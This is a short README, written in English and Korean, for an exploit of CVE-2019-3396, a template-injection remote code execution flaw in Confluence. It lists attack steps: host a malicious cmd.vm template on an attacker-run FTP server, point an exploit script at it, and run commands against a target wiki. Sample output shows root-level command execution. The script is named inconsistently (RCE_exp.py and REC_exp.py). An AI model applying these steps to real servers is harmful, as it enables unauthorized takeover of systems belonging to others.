
CVE-2019-3396 confluence SSTI RCE
CVE-2019-3396 컨플루언스 SSTI RCE
1、cmd.vm 파일을 웹사이트에 업로드하세요 (ftp 또는 https를 사용해야 하며, http는 작동하지 않습니다)
2、RCE_exp.py를 수정하고,filename = 'ftp://1.1.1.1/cmd.vm' 로 변경하세요 (python -m pyftpdlib -p 21)
3、python REC_exp.py http://test.wiki_test.cc:8080 "whoami"
$ python REC_exp.py http://test.wiki_test.cc:8080 "id"
uid=0(root) gid=0(root) groups=0(root)